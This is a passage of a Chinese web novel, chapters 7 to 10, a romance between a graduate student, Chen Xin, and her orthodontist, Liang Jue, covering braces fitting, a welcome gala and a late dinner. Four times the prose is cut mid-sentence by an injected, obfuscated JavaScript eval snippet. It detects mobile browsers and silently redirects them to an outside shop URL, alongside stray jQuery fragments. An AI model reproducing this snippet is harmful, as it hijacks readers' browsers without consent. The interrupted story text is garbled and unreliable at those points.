“妈,你这说的啥话,我和小姨这不是觉得小事一桩,不用惊动你嘛!”陈心见缝插针,“妈既然你知道了,那就给我点启动资金呗!要不然我真要揭不开锅了……” “生活费好说,关键是你一定得学会照顾好自己,我和你爸都不在你身边,幸亏还有你小姨,要不然我们得多担心,这些话你得听到心里去,明白没有?” “知道了知道了,妈,您放心,我一定照顾好自己!”陈心情真意切,把许夏安抚好了才挂了电话。 等陈心回了宿舍,发现手机上收到一笔两万块的转账,不得不让人感叹,世上只有妈妈好。 周日下午,T大室内篮球馆,人声鼎沸。 作为刘文文的亲友团,羊家族一行三个人坐在观众席的第一排,每个人手上还拿了一个啦啦队手花,气势十足。 赛场上,是来自机电院和新闻学院的两支女篮,两队比分你追我赶,不相上下。 刘文文是新闻学院的首发队员,承担着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984598|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得分后卫的角色,既能突破,也能防守,本院观众席上的欢呼声,有一大半是因为刘文文的完美投篮。 “我第一回看文文打球,真有点英姿飒爽的意思,你们说是不是?”乔艺坐在陈心和林梦中间,对场上情况侃侃而谈,“看看看,文文拿球了,快快——进了!进了!” 几乎同一时间,陈心和林梦蹭地站起来,激动挥舞着手花,完全没功夫理会乔艺的赛场点评。 只见场上,刘文文迅速撩了一把额前的碎发,抿掉鼻尖上的汗珠,接着叉腰弓背投入了新一轮攻守。 一番酣畅淋漓的角逐后,新闻学院险胜机电院,秉承着友谊第一的原则,两支队伍赛后互相拥抱,约定有机会再切磋。 赛后,刘文文和队友去庆祝,乔艺说咱们也找个地方搓一顿,陈心因为牙口不好所以婉拒了,一个人回宿舍躺着听歌。 宿舍里,陈心把窗帘拉到极限,一片昏暗之中,只有手机发出一屏微弱的光,听歌软件上循环播放着今日推荐的歌单,她不知不觉进入了梦乡。 梦境里,一间纤尘不染的诊室,播放着经典偶像剧的主题曲,戴着口罩的梁决只露出含情脉脉的双眼,手里的拔牙钳闪烁着亮光。 他轻轻俯身,陈心的瞳孔里随之倒映出梁决逐渐放大的一张脸,然后她听到他用温柔的嗓音说—— “陈心!别睡了!导员找你。” “?” 陈心吸了两下鼻子,先是闻到一股火锅味,然后隔着上铺的床栏杆看见乔艺的一张脸,她迷糊着问:“你说谁找我?” “哎呀,导员导员,不过看他心情不错,可能是好事!” “现在吗?” “必然,不然我着急喊你干嘛,醒醒!”乔艺伸手穿过栏杆去摇她的胳膊。 “好——让我缓缓。”陈心翻了个身,平躺在床上,梦已经无法找回,那就迎接现实吧。 十五分钟后,导员办公室,陈心敲门喊了声:“王老师。” “进来进来,有个事和你说。”导员老王转了下椅子,看起来笑容满面。 “下周学校要开一个迎新晚会,其中有个新生代表的发言环节,往年都是咱们学院的学生上台,因为咱们是文院嘛,形象表达各方面都比较好,今年也是这样,下午我们几个老师凑在一块商量了下,决定推荐你来做这个发言,你看怎么样?” “我?”陈心有点懵。 “对,你也是保研到T大,学习很优秀,形象也好,当时夏令营的时候,我们几个老师都对你印象不错,这也是个不错的机会,应该好好把握。” “王老师,可我……”陈心一时间也想不出拒绝的理由,她只是不爱出这个风头。 “陈心,就把这当做一次锻炼机会,你本身就是学传播学的,上台演讲用你们专业的话说,不也是一种组织传播?” “那行吧……谢谢王老师,我回去准备准备。” “这就对了嘛,万事开头难,只管放手准备就行了。” “嗯。”陈心点点头,出了办公室。 黄昏时分,校园熙熙攘攘,湿热的夏风无差别地扑在每一个人的脸上,陈心抬手在眼前扇了两下,随便找了个石凳坐下。 她从口袋里掏出手机,对照着课表和日历,约了下周二梁决的号。 *梁决内心os:关心她,怎么她还不高兴呢? 陈心内心os:白日梦梁决,惨了,我坠入爱河了。 8. 第 8 章 开学第二周,已是九月中旬,陈心逐渐适应了研究生的学习生活节奏。 周二上午,她按照约定的时间来找梁决戴牙套,因为粘托槽的时间要长一些,所以乔艺陪她一起来了正畸科,就坐在诊室外的椅子上刷手机等她。 “早上好,梁医生。”陈心今天穿了一件基础款T恤和直筒牛仔裤,相当清爽干净。 “早。”梁决抬眼,视线从她的脸上掠过,最后落在她头顶上那颗饱满的丸子头,一副欲言又止的样子。 “考虑好用哪一种矫治器了吗?” “金属自锁,可以吗?” “可以,不过成人正畸都倾向于隐形矫正多一些,更加美观,但对自律性的要求也高。” 梁决只是给出建议,至于到底要用哪种矫治器,在对矫治效果影响不大的情况下,还是尊重患者本人的意见。 “对……我考虑过了,还是用普通的托槽心里比较踏实,隐形牙套我怕我坚持不下来。” “好。” 梁决和身边的配台护士低语了几句,护士先是点头,然后看了陈心一眼,转身走了。 “怎么了?”陈心问。 “没什么,让她帮我拿个东西,你先去刷个牙,然后回来躺下。” “哦。” 等陈心刷牙回来,椅位旁边的工作台上已经准备好了粘托槽要用的工具,陈心躺下后,梁决又和她确认了一遍矫治方案。 “既然没问题,那我们就开始。”梁决说完,往她手里塞了一个软乎乎的东西,然后才戴上一次性手套,“捏捏乐,怕你无聊。” “啊?谢谢……”陈心愣了一下,不愧是三甲医院,医疗服务已经卷到nextlevel了。 无影灯下,梁决滑动座椅到陈心的12点位,视线落在她面下三分之一的位置,然后用口镜轻轻拉开唇角,先进行牙面清洁和酸蚀的步骤。 之后,梁决夹取单颗托槽,由配台护士辅助涂上粘结剂,再迅速将托槽按压在牙面上,对托槽位置精确调整后,最后使用固化灯照射固定。 前面的牙齿还好说,越到后面越需要用力拉扯嘴角,梁决看她拧着眉毛的样子,忍不住问道:“需要休息一下吗,或者……你重新扎一下头发?” “嗯,谢谢……”其实,梁决不开口提,陈心也快坚持不住了,原本蓬松的丸子头现在就像一个实心沙包一样硌在她的后脑勺,刚才粘托槽的时候,她又不敢随便动,现在终于能喘一口气了。 梁决把无影灯推到一边,方便陈心从椅位上坐起来,趁她整理发型的空当,梁决走到窗边活动脖颈。 “好了,梁医生。”几分钟后,陈心躺回椅位,轻轻喊他。 “嗯。”梁决应声转身,重新坐了下来。 “感觉比刚才好些了吗?”大概隔着口罩的原因,梁决的声音听起来闷闷的。 陈心向后仰了仰,又认真感受了一下,侧编的低马尾舒适度满分。 “嗯,好多了。”回话时,她的视线正对上梁决落下来的询问目光。 俯仰之间,两双眼睛,仅有数十厘米的距离。 陈心感到一阵慌乱,下意识地捏紧了手里的橘子捏捏乐,有些语无伦次地催促道:“我……可以了!梁医生,那个……请继续粘托槽吧!” “好。”梁决没再说什么,把无影灯拉近了些,专心粘剩下的半盒托槽。 后半段,梁决明显加快了速度,也没再询问陈心是否需要休息。 大概半小时后,梁决滑动座椅从12点位移动到10点钟的方向,准备最后检查一下托槽的粘结情况。 “哎——等等一下!疼!”陈心打了个激灵,缩着脖子,“梁医生,你扣子好像挂住我头发了。” “哦抱歉。”梁决连忙去看,确实是自己白大褂的第三颗扣子勾住了陈心的一绺头发,他立马摘了手套,小心地把扣子从头发丝里绕出来,确认没再挂住后,才滑动椅子撤开,“刚才不好意思。” “没事没事。”陈心重新捋了捋头发,没放心在上。 “一般刚戴上牙套,不会立即感觉到疼痛,你回去之后如果疼得厉害,可以吃一片布洛芬。”梁决一边从电脑上敲着医嘱,一边和陈心交代着。 “梁医生,方主任喊你过去一趟。”一个小护士从诊室外探进个头来。 “这就来。”梁决和一旁的配台护士交代了几句,然后转身对陈心说,“还有些注意事项我让护士和你说一下,再有什么问题,可以从微信上问我。” “好,谢谢梁医生。”陈心望着梁决消失在自己的视线里。 配台护士看起来比陈心大不了几岁,拿着一张正畸注意事项纸给她顺着解释,从日常饮食到牙齿清洁,嘱咐得相当仔细。 “你看,还有什么问题吗?”配台护士问。 “嗯,暂时没了。”陈心谢过她后,把手里的捏捏乐递过去,“哦对,这个差点忘了,给你放哪?” “哦,你拿着就行,这不是我们科的东西,或者直接给梁医生。”配台护士站起身开始清理台面。 “梁医生的?” “是啊,他刚才让我去休息室拿的,不然你等会问问他吧。” “好的,谢谢。” 陈心没明白过来是怎么回事,在手里又捏了两下,想着乔艺还从外面等她,只好背上包离开了诊室,到底是没有物归原主。 “乔艺。”陈心喊了一声,乔艺没理她,走近了才发现乔艺脸上一副等到花儿都谢了的疲态。 “大姐,知道的你是去戴牙套,不知道的以为是你等牙长出来,怎么这么慢啊?” “嗯?还好吧,这才一个多小时。”陈心看了眼手机,她觉得时间过得挺快的。 “哎对了,刚才从你进去的那个屋里走出来一个男医生,戴着口罩都觉得又高又帅的,他是谁啊?” “刚才?” “对,就比你早出来那么一小会吧。” 陈心觉得她说的那个人是梁决,但开口时却打了马虎眼:“有吗,可能是来串门的吧,我从诊室里面躺着,怎么可能眼观六路耳听八方的。” “也是,走吧走吧。”乔艺挽着她的胳膊离开了医院。 回宿舍的路上,两人顺道先去食堂买了午饭,省的到点还要再下来一趟,乔艺打包了百吃不厌的石锅拌饭,陈心从食堂门口拎了一杯小米南瓜粥,又从学校的蛋糕房买了块枣糕。 陈心感觉到剧烈的痛感是在午休之后。 因为托槽本身的厚度让陈心很难把嘴巴闭上,于是她只是出于好奇用舌头轻轻顶了一下牙齿内侧,瞬时就感受到一种紧绷的疼痛感从口腔传导到太阳穴,一路直抵天灵盖,整个脑袋都陷入了一种直接而持续的疼痛中。 几乎是刻不容缓的,她从床上爬下来,拉开抽屉,翻出一板痛经时吃剩的布洛芬,放了一粒在嘴里,然后就着中午剩的小米粥咽了。 宿舍里的三个人被她这一通手忙脚乱的操作吓到了,都知道箍牙很疼,但疼成这样还是有点让人肝颤的,乔艺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984599|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至主动提出来替陈心点到,让她在宿舍好好歇歇。 陈心自然是没答应,轻伤不下火线,她抓紧收拾了两下,背上包就和室友去教室了。 下午的课上,她一开始还用手撑着脑袋勉强听两句,到后来直接趴在了桌上,连手机都懒得划几下,她对自己逞能的行为表示严重谴责,就该老实地躺在宿舍床上休养生息。 终于捱到下课,她刚松一口气,接着意识到更痛苦的事情在等着她,那就是吃晚饭,她现在喘个气儿都恨不能搭进去半条命,更何况用牙齿咀嚼食物呢? 陈心想都不敢想。 宿舍里,她快把眼前的小米粥盯出个窟窿,愣是没有勇气喝一口。 “陈心,你这样不行啊,这才第一天,你就不吃不喝的。”林梦看她这样也不知道怎么劝,“有句话怎么说来着,长痛不如短痛,你光从这里愣神,小米粥也不能自己进你胃里啊。” “对啊,你得振作起来,喝!”乔艺过来按了按她的肩膀,给她打气。 陈心犹豫着端起小米粥,眼一闭,嘴一张,咕咚咕咚地连喝了几大口,在疼死和饿死之间,她选择做一个饱死鬼。 晚上的时候,陈心早早爬到床上躺着,百无聊赖地刷着朋友圈,一条高中同学官宣脱单的朋友圈引起了她的注意,朋友圈发的是两人不算亲密的合照,还有一张纪念日app的截图,截图里是在一起的第一天,文案只有一颗小红心。 陈心仿佛得到了某种灵感,也去下载了这个app,然后新建了一个纪念日,名称是成为牙套妹的第一天。 这一天,也是梁决正式拥有自己的病例的一天。 虽然他对临床已经并不陌生,从规培开始就跟在方老师后面当医助,前前后后也见识了不少复杂病例,但以T大口腔医生的身份独立接诊,这还是第一次。 下班后,梁决难得去超市逛了一圈,买了一些时令水果和冷冻速食,路过婴幼儿用品那一档的时候,他停留了一会,等离开时购物筐里多了一把婴儿辅食剪。 等走回教师之家,他上到三楼,敲了敲许秋的门。 门开后,许秋请他进屋,但梁决说太晚了,不打扰师姐休息,想着把水果放下就走了。许秋也不跟他见外,两个人就站在门口简单聊了两句,梁决把陈心的情况简单转达了一下,总之是感谢师姐能想着他,还把自己亲戚介绍过来看牙。 看着梁决上楼,许秋关了门,拎着一兜水果到客厅一看,得,怎么也是一兜橙子。 回家后,梁决换了家居服,两腿一盘坐在沙发上刷手机,屏幕上的内容没看进去多少,心里想着的还是白天给陈心粘托槽的场景。 这么想着,他坐起来走到门口,从购物袋里掏出来那把辅食剪,拿到水池冲了冲,又用酒精湿巾擦了一遍,然后装回塑料盒放进自己的手提包里。 再坐下时,他点开微信,主动给陈心发了条消息问:“怎么样,还适应吗?” 然后,他从工作号切换到私人号,想了想发了条朋友圈,就很简单的一句话:梁医生喜提第一位正畸病例。 没一会儿,下面就多了一排点赞,和他关系好的几个朋友还从下面评论了几句,其中就有程烨。 禾呈火华:恭喜啊,梁子!你这开张不得请客吃饭啊? 梁决心情确实不错,立马回了他一句:这周六,过时不候。 *梁决内心os:今儿个老百姓,真呀真高兴! 陈心内心os:某人的快乐建立在我的痛苦之上,哼! 9. 第 9 章 第二天一早,闹钟准时响起,梁决从床头柜上摸起手机,先掐断了铃声,然后点进微信,发现陈心还没回他,不过倒是有一条未读消息,就几分钟前发来的。 “梁决,周五晚上T大的迎新晚会,想邀请你来做个优秀毕业生发言,有时间吗?”发消息的是T大学生工作处的一位老师,梁决和她并不熟络,上一次聊天还是6月份,这位老师拉他进校友会的群。 梁决抱着手机犹豫了会,想着再这么躺下去就得迟到了,立马翻身下床,刷牙的功夫,他又琢磨了下,等擦完脸,拿起手机回复了过去—— “可以,张老师,需要我做什么准备吗?” 见对方没有立即回复,梁决拿着手机进了厨房,从冰箱里拿出昨天买的速冻手抓饼,拧开电磁炉后,往平底锅里扔了一张,可能是手上沾了水,锅里激起“滋啦滋啦”的声响,梁决立即退避三舍。 他倚着冰箱门观望,正好手机上来了消息,张老师回复他说:“需要准备一个3分钟左右的演讲稿,学校会初步审一下,一般不会做大的改动,周五下午有彩排,有时间可以来走一遍场。” “好的,谢谢张老师,彩排我就不参加了,白天有门诊。”梁决收了手机,叹了口气,走过去给手抓饼翻了个面,在心里盘算着还得准备演讲稿,这不是给自己找事干吗? 陈心也是这么想的,放着好好的日子不过,非得整牙,简直是自寻烦恼。 上午课间休息的时候,她才发现自己竟然漏看了梁决的微信,大概是昨晚牙太疼了,牵扯到视神经,眼神儿也跟着不好了。 “谢谢梁医生关心,还在适应中,正畸痛和拔牙痛简直不是一个量级的。”陈心正愁没地方诉苦,“还有,梁医生,我今早说话的时候,发现有些大舌头,你有办法吗?” 梁决上午没什么事,正开着word酝酿发言稿,他没问陈心怎么现在才回,只是有问必答地回复道:“通常一星期后,疼痛会明显减轻,至于发音的问题,我建议是减少说话量,等舌头适应了牙套的存在,情况会有所改善。” “还有,你这两天吃饭怎么样?” “梁医生,我斗胆纠正你一下,不是吃,是喝,根本没法嚼东西啊……” “好的,那就保证流质食物的摄入吧,坚持过这一周就好很多。”梁决不是不会安慰人,而是站在医生的角度,正畸是一件需要医患双方高度配合和信任的事,若是一味体谅患者,往往会适得其反,并不利于矫治进程的推进。 比起医生的关怀,患者更需要建立自己内生的韧劲。 上课铃响后,陈心收了手机,没再回复梁决。 中午午休的时候,导员老王在群里通知了校庆的具体时间和地点,陈心这才惊觉自己的演讲稿还没有准备,可以说是抛到了九霄云外。 她掰着手指头一算,今天周三,后天周五,最迟明天也要给老王发一版演讲稿过目,想到这儿,她从床上一骨碌爬下来,电脑一开,把桌上的台灯调亮,心无旁骛地搞创作。 “哎陈心,你干啥呢?”林梦被她的动静吵醒了,从上铺的床帘里露出个头来问。 “就老王刚发群里的那个晚会,他让我上去发言……”陈心压低了声音回,“我现在话都说不利索,还发言……愁死我了!” “可以啊陈心!那你加油,等会到点叫我们。”林梦说完又缩回床帘里。 等陈心把演讲稿弄利索,已经是周四下午了,导员老王对陈心的文笔很认可,一个劲儿地鼓励她到时候别怯场,有空儿就在宿舍里多练练。 于是,周四晚上,羊家族齐聚一堂,陈心站在宿舍当中间,手上捧着一个蓝色文件夹,刘文文乔艺林梦搬了椅子坐成一排,负责扮演迎新晚会的观众。 “咳咳,我开始了——”陈心清了清嗓子。 “亲爱的各位老师、同学们,大家好!我是来自新闻学院传播学系的研究生新生,陈心。又是一个金秋九月,我们在美丽的T大校园相逢……” “……愿我们在崭新的人生阶段,共同书写更加绚丽的诗篇,谢谢大家!”陈心合上了文件夹,假装向台下鞠躬,转身下台。 “好!鼓掌!”刘文文起了个头,三个人噼里啪啦的掌声在不大的宿舍里回荡。 “哎打住——说真的,刚才那段怎么样?”陈心向亲友团投去赤诚的目光。 “挺好的,我们听着没啥问题,是吧文文?” “对,到时候声音再放开点就更好了。” “真的吗?”陈心还是有点不自信。 “真的真的真的!”对面三个人以捣蒜式点头来回应陈心。 有了羊家族的一致认可,陈心添了不少底气,但要说不紧张那也是不可能的。 周五下午彩排后,导员往大群里转发了一条校公众号的最新推送,并且号召大家积极转发朋友圈,推文标题写的是:抢先看!今年的迎新晚会也太会了! 不出所料,点进去就是刚刚彩排的一些花絮照片,有一张还拍到了正在发言的陈心,划到最下面是一张完整的迎新晚会节目单,她随便看了两眼,然后随手转发了朋友圈。 距离迎新晚会还有不到两个小时,演讲稿就像长在了陈心的手上,时不时就得拿起来看一眼,虽说也没要求脱稿,但她基本上能看着上句背下句了。 又把稿子顺了一遍后,陈心拎着租来的小西装去了礼堂后台的试衣间,换好衣服后,在镜子前转了两圈,感觉更紧张了。 忽然,衣柜里传来手机震动的声音,陈心拿过来一看,竟然是梁决找她,再点开消息内容,更是一愣,梁决问她—— “照片上发言的人,是你吗?” “正是在下,梁医生好眼力啊,哈哈。”附带一个尴尬而不失礼貌的微笑表情。 “加油,一会见。” “?” 等等,他在说什么? 陈心又把这五个大字读了一遍,加油,很好懂,但一会见?见什么? 没等她捋清楚是怎么回事,现场的导演老师来后台喊人,让大家最后再走一遍位置。 陈心的小西装塞不下手机,只好先把手机暂存在衣柜里,在周围的催促中,她对着镜子赶紧整理了一下妆发,就往舞台去了。 晚上六点半,距离晚会正式开始还有半个小时,走位还在进行,礼堂门口也陆陆续续进人,为了区分观众和演员,导演老师让走位结束的同学统一在观众席左侧就坐,不要随便走动。 陈心的节目靠前,走位完事之后,她找了个座位坐下,心里犹豫着要不要趁这个时间差去后台拿手机。 “陈心。”好像有个熟悉的声音叫她。 “梁……医生?”陈心抬头,眼前的人顶着一张冷气十足的脸,穿了一件浅灰色的衬衣,袖口随性地折了两下,再往下是同色系的西裤和一双折痕不明显的皮鞋。 她以为自己出现了幻觉,看着梁决的眼神像是在看什么不明生物。 “怎么了,不认识了?你不是担心说话大舌头吗,来给你撑撑场子。”梁决一本正经地说道。 “啊?不是吧……梁医生,你这……”陈心听他这么一说,蹭就站了起来,手指抠着西装的裤缝,脸上的表情很难形容。 “逗你的。”梁决没想到能唬住她,“你不知道我也要发言吗?” “?”陈心又是一愣,心想我怎么能知道你也要发言。 梁决看她一脸茫然的表情也不像演的,只好翻出朋友圈里的那条推送,一口气划到最后,把节目单的图片点开放大了,然后递到她面前。 “自己看。” 陈心顺着节目单上的流程往下看,开场舞蹈、领导致辞、新生发言,直到视线落在倒数第三个节目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984600|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——优秀毕业生发言,口腔医学院梁决。 还真是他。 “那个不好意思啊,梁医生,我差点忘了你也是T大的,好巧啊……” “这有什么不好意思的,你旁边有人吗?” “没有没有!”陈心让出一点位置,想要伸手帮他按下折叠座椅的椅面。 “你不用管,坐吧。” “哦,好。” 于是,陈心以一种非常僵硬的姿势和梁决并排而坐,直到周围陆续有同学把临近的座位填满,她才觉得好受了些。 晚上七点,迎新晚会正式开始。 在充满青春活力的旋律之下,陈心的发言四平八稳,虽说不出彩,但也挑不出什么大毛病,总之是圆满完成组织交给的任务。 下台时,她瞄到导员老王隔空比的大拇哥以及羊家族的飞吻,当然还有坐回座位时,梁决轻轻的一句“这回踏实了吧。” “嗯,一身轻松,梁医生,你也加油。”陈心轻轻地回了一句。 晚会的后半段,陈心一边看着节目,一边用余光感受着梁决的状态,连续观察了几次后,陈心得出结论—— 不愧是当医生的,心理素质是真好。 快到梁决发言时,他把袖子放下来,系好袖扣,弓着背从座位区离开,脚步很轻,但还是短暂地吸引了周围人的目光。 陈心看着他的背影,有一瞬间的恍惚。 差不多三周前,她和梁决第一次遇见,空旷的高速路上,这个人冷着脸帮她更换爆掉的轮胎,白色T恤贴着清瘦的脊背,一对有力而好看的肩胛骨,在她的眼前跃动。第二次遇见,T大口腔医院正畸科的诊室,这个人穿着干净的白大褂,手法熟练,操作利落,即便是被主任临时叫走,也会不疾不徐地把一切安排妥当,白大褂的衣角随着脚步扬起又落下,空气中环绕着淡淡的消毒水味。 甚至是,连小姨都相当认可他,为人谦和,处事周到。 一幕幕重合又散开,陈心拼凑着关于梁决的记忆,那么真实,又有些遥远。 这时,礼堂里响起一阵掌声,陈心回过神来,似乎是梁决的发言把晚会推向另一个高潮。 屏幕上,投影了一张梁决的微信名片,他面带微笑,语气轻松地说:“各位老师同学,请允许我给自己打个小广告,当然也感谢学校的批准,这是我的微信号,欢迎有正畸需求的朋友们来咨询,我就在T大口腔等候大家。” 话音一落,台下不少人举起手机扫了二维码,陈心倒不认为这其中有多少人真想看牙,八成是奔着加帅哥微信的心思去的。 可陈心知道,Dentist梁是梁决的工作号,她加的也是这个。 在某种程度上,她和台下的这些人没什么两样,只有正畸患者和潜在正畸患者的区别。 讲台上,梁决也不说话,就这样自然地站了一会,顺便通过了几个好友申请,看大家扫得差不多了,他才幽默开口:“再次感谢大家,我得抓紧下台了,手机电量快要hold不住大家的热情了。” 果然,台下又是一阵掌声。 梁决朝她走来,重新回到座位,陈心明显感受到从四周追随而来的热烈目光,她低下头,不想融进这样的热闹里。 “怎么了?”梁决一坐下,发现身边的人蔫蔫的。 “没什么,有点累了。” “快结束了,再坚持会。” 陈心没吭声,还是低着头,小幅度地点了两下,表示听到了。 “对了,给你带了个东西,散场的时候等一下。” “嗯?” 梁决见她肯抬头了,反而卖起关子,伸出食指在嘴唇上比了个“嘘”。 *梁决内心os:她坐在台下,我发言的时候还莫名有点小紧张(但我掩饰得很好 陈心内心os:学生时代欠我一个梁决! 10. 第10章 晚上九点钟,迎新晚会结束。 礼堂里缓缓响起校歌的伴奏,台上的主持人祝大家晚安,观众从后面的两扇门有序离场,三三两两还在讨论着晚会上的精彩节目。 梁决被叫去前排和学院的几位老师打招呼,陈心看他还要寒暄一会的样子,索性就先去后台拿手机和换衣服。 更衣室内,陈心换上自己的衣服,把小西装套上防尘袋,又去柜子里拿手机,按了半天没有反应,才发现电量已经耗尽关机了,她只好拎着小西装去化妆间等梁决,也不知道外面是个什么情况。 那边,梁决和学校老师说了再见,一回身,发现陈心不见了,先给她发了几句微信消息但没有回复,就赶忙来后台一间间敲门找。 “怎么在这?消息也不回。”梁决松了口气。 “哦,我手机没电了。”陈心冲他指了下桌上黑屏的手机。 “走吧,出去说。”梁决从她手里接过小西装,给她开门,“你先走,我关灯。” “好。”陈心站起身,从梁决身边经过时,注意到他的袖口又折了起来。 礼堂内,已经没有老师和学生了,只有几个工人在拆舞台的脚手架,红色的横幅被卷起来放在地上,刚才的晚会就像没发生过一样。 “对了,你刚才说要给我什么?”陈心扭头问。 “这个——”梁决从手提包里拿出一个长三角形的透明色塑料盒,“辅食剪,你是不是还没吃晚饭?” “嗯?”陈心疑惑着从梁决手里接过来,打开保护壳,是一把浅蓝色的陶瓷剪刀,刀尖圆润,刀柄适手,只是外盒上印着宝宝辅食剪的卡通字样,“给我用的?” “对,你还没回答我,吃饭了吗?要不正好试试这个剪刀怎么样,走吧。”梁决没等陈心回答,便迈步往前走了。 “哎——你等我一下。”陈心收了剪刀,快步跟了上去。 夜晚的校园,透着一种缱绻的静谧,照明灯指引着脚下的路,陈心也没问要去哪儿,梁决也没解释,两个人就这么静静地往前走着,像极了相约散步的情侣。 “好几个月没回T大了,还是做学生的时候最幸福。”梁决突然感慨了这么一句。 “是啊,你还记得吗?我和你说过,我特别喜欢T大。” “记得。”梁决仿佛怕她不信,又补充了一些细节,“在服务区,你还请我吃了凉面。” “哈哈,你真记得啊!”陈心笑着说。 “嗯,等会去喝粥怎么样?”梁决看她情绪好了很多,才挑起吃饭的话题,“是我读博的时候晚上做完实验经常去的一家小店,味道很家常,有一阵子没去了,还挺想的。” “好啊,我没意见,好像还真有点饿了。” “嗯,那就好。” 出了校门口,又往前走了几步,陈心指着一家生意火爆的烧烤店,用一种轻舟已过万重山的口吻问道:“哎,梁医生,这家店你来吃过吗?” “怎么了?你现在吃不了这个。” “不是不是,我是想说,刚开学的时候我和室友来这家吃烧烤,结果不小心把牙硌了,然后就去了你们医院挂号,不过一开始挂的还是牙周科,再之后的事情你就知道了……” “这家?”梁决本来没注意的,听她这么一介绍,心里竟也有点好奇,停住了脚,打算多看两眼。 “帅哥美女,吃烧烤吗?进来挑进来选!”服务员瞅见店门口站着俩人,热情地吆喝上了。 “啊不了不了,你看——”陈心呲着牙,认真解释道,“我箍牙呢,以后再来。” “哟,这勉强不了,那您二位以后一定来啊!”服务员脸上带着笑,说了两句又去招揽其他路过的人。 等两个人走远了一点,梁决扭头看着陈心,突然冷不丁地说了一句:“等你什么时候拆牙套了,或许……我可以考虑把你想吃的这顿补上。” “什么?” “请你吃烧烤,不乐意吗?” “没有没有,那我可记下了。”陈心没想到就这么白赚了一顿烧烤,她怕梁决毁约,立即说道,“君子一言。” “驷马难追。”梁决应下了。 大概又往前走了百八十米,一家挂着“老孙粥铺”招牌的小店出现在眼前,店前面摆了几张小矮桌,支着几盏灯,这个点儿了还在上人。 “就是这家。”梁决眼神中浮现出一种亲切,“店里面也有座位,不过没有空调,不如外面凉快。” “那咱们就坐外面呗,我都行。” “好,先去看看想去吃什么。” 说着,梁决走上前,撩开塑料门帘抵住,陈心赶紧缩着脑袋进了店里。一进店,掌柜老孙看她眼生,相当客气地问:“想吃点什么?甜粥还是咸粥?” “嗯……”陈心还在盯着菜单看。 “孙叔。”梁决走过来喊了一声。 “哎?我说谁呢,小梁你可好长时间没来了,小程也来得少了,对,你和这个姑娘是一起的吧?” “是,今天正好学校里有活动,结束得晚,就想着来您这儿了,她戴着牙套,就适合喝您店的粥。” “好好好,快看看喝什么,还是老三样?” “想喝什么?”梁决转头问陈心。 “那我也要一个老三样吧,和你一样?” “可以,孙叔,两份老三样,我们坐外面,好了喊一声,我们自己过来端。”梁决扫码付了款。 “好嘞,你们这些小孩最懂事了,外面坐一会,马上好。”老孙拿着一支圆珠笔唰唰记下菜单,两手在围裙上一抹,转身进了厨房准备。 十分钟后,梁决端着托盘过来,把东西摆到桌上后,又把托盘给老孙送了过去。 桌上,两碗冒着热气的皮蛋瘦肉粥,两片吸饱了汤汁的卤豆腐和两碟朴实无华的咸菜丝儿。 “看起来还可以吧?”梁决撑开马扎坐在陈心对面,少有的表现出不自信的神情,语气中带着点儿期待地问。 “嗯,好香啊!”陈心往前凑了凑,转而问出了一个不太相关的问题,“梁医生,刚才孙师傅说的小程老师是谁啊,是你的女朋友吗?她也是T大的?怎么从没听你提起过?” “咳!咳咳——”梁决刚舀了一勺粥放进嘴里,结果被她这冷不丁的一句话呛住了,滚烫的白粥顺着喉咙滑入胃里,偏着头连着咳嗽了好几声。 陈心见状连忙从桌上抽了张纸递给他,心想难道被我说中了?其实她没打算问的,毕竟这是人家的私事,但刚才一看到身高腿长的梁决端着粥过来,她的脑袋里不知道哪根筋搭错了,一张嘴就秃噜出来了。 “不是,我没女朋友,孙师傅说的小程,他叫程烨,我们从大学就是室友。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984601|193628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梁决从刚才的失态中恢复过来,“不过,你倒是猜对了一点,程烨也是T大的。” “哦这样……”陈心抿了下嘴唇,故作自然地问,“那他一定也很优秀吧,也在T大口腔上班吗?” “不在,粥不烫了,先尝尝。”梁决有些回避陈心对程烨的好奇,“来,把剪刀给我,教你怎么用。” 